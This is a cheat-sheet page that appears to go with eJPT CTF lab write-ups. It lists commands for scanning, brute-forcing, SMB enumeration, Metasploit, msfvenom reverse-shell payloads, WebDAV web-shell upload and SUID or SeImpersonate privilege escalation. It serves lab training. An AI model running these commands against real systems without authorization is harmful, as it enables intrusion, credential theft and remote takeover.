A single reference for every tool used across these eJPT CTF write-ups โ what it's for, and the exact commands that show up in the labs. The write-ups link here instead of re-explaining each tool.
All commands are for authorized lab and exam environments only.
The first tool in almost every lab. Finds open ports, service versions, and runs default enumeration scripts.
nmap -sV -sC -Pn -A -p- target.ine.local
# -sV service/version -sC default scripts
# -A OS/traceroute/scripts -Pn skip host discovery -p- all 65535 ports
Web-driven scanner that fingerprints hosts and maps findings to known CVEs. Used to prioritize which service to attack first.
Discover hidden paths (admin panels, WebDAV, uploads, plugin folders) by trying wordlist entries against the web server.
dirb http://target.ine.local
gobuster dir -u http://target.ine.local -w /usr/share/wordlists/dirb/common.txt
# plugin enumeration example:
gobuster dir -u http://target/wp-content/plugins/ -w /usr/share/nmap/nselib/data/wp-plugins.lst
Downloads a full copy of a site for offline review โ useful for spotting comments, hidden fields, and source hints without hammering the live target.
httrack http://target.ine.local -O ./mirror
Throws a wordlist at a live service (SSH, HTTP auth, SMB, FTPโฆ). -l/-L set the user(s), -P the password list.
hydra -l bob -P unix_passwords.txt target.ine.local http-get
hydra -L common_users.txt -P unix_passwords.txt smb://target.ine.local
hydra -l user -P unix_passwords.txt ssh://target.ine.local
Where Hydra's legacy SMB module fails against SMBv2/v3, CrackMapExec succeeds. Validates creds, lists shares, and sprays passwords.
crackmapexec smb target.ine.local -u user -p passwords.txt
crackmapexec smb target.ine.local -u administrator -p pineapple --shares
Once you have a hash (from a leak, /etc/shadow, or a captured file), crack it offline against a wordlist.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt # -m 0 = MD5
smbclient is an interactive FTP-like client; smbmap lists shares and permissions at a glance. smbclient has no cat โ use more or mget.
smbclient -L //target.ine.local -U user
smbmap -H target.ine.local -u user -p password
smbclient //target.ine.local/C$ -U administrator
Wraps the Samba tools to dump users, shares, groups, and policy in one pass.
enum4linux -a target.ine.local
The core exploitation framework: search for a module, set options, and run. msfvenom builds standalone payloads (e.g. an ASPX web shell).
msfconsole -q
search <service or CVE>
use 0
show options
set RHOSTS target.ine.local
set LHOST <your-ip>
exploit
# standalone payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=1234 -f aspx > shell.aspx
Searches a local copy of Exploit-DB for public exploits that match a service/version from Nmap.
searchsploit flatCore CMS
searchsploit duplicator
Catches reverse shells and talks to raw services (e.g. a localhost-only port found with netstat).
nc -lvnp 1234 # listener for a reverse shell
nc -nv 127.0.0.1 8888 # connect to a local service
davtest probes what a WebDAV server will accept; cadaver is a purpose-built WebDAV client for uploading a web shell.
davtest -auth bob:password_123321 -url http://target/webdav
cadaver http://target/webdav/
dav:/> put /usr/share/webshells/asp/webshell.asp
An exposed rsync daemon can list and hand over whole backup modules without authentication.
rsync rsync://target/ # list modules
rsync -av rsync://target/backup ./backup
ftp uploads/downloads over a writable FTP dir (a classic upload-to-RCE when served by a web root); curl reads authenticated URLs; openssl handles TLS endpoints and quick crypto.
ftp target.ine.local # then: put shell.aspx / get flag.txt
curl http://target/webdav/flag1.txt -u bob:password_123321
openssl s_client -connect target:443
Authenticate to a database service to read data or, with Metasploit's MSSQL modules, pivot to command execution on the host.
mysql -h target.ine.local -u root -p
# MSSQL is usually driven through Metasploit's mssql_* modules
After a foothold, hunt for SUID binaries and cross-reference GTFOBins for a known escalation.
find / -perm -4000 -type f 2>/dev/null
find / -exec /bin/bash -p \; -quit # SUID find โ root shell
Reveals how a setuid/sudo program calls helpers โ exposing a relative or overwritable binary you can hijack for root.
strace ./welcome # see which helper it executes
On Windows, when a service account holds SeImpersonatePrivilege (check with whoami /priv), PrintSpoofer abuses it to spawn a SYSTEM shell.
PrintSpoofer.exe -i -c cmd
Reads a PCAP to reconstruct an attack: filter HTTP, follow TCP streams, and pull out hosts, files, and credentials.
http.response.code == 200
nbns # NetBIOS hostnames (UDP 137)
# Right-click a packet โ Follow โ TCP Stream
Sits between browser and server to inspect and tamper with requests โ used to reach CGI endpoints and manipulate parameters.
| Path | Use |
|---|---|
| /usr/share/wordlists/rockyou.txt | General password cracking (gunzip first) |
| /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt | Service brute-forcing |
| /usr/share/metasploit-framework/data/wordlists/common_users.txt | Username spraying |
| /usr/share/nmap/nselib/data/wp-plugins.lst | WordPress plugin enumeration |
| /usr/share/wordlists/dirb/common.txt | Directory brute-forcing |